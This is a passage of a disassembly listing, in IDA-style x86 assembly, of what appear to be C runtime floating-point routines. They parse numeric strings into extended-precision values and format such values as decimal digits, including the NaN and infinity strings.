var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
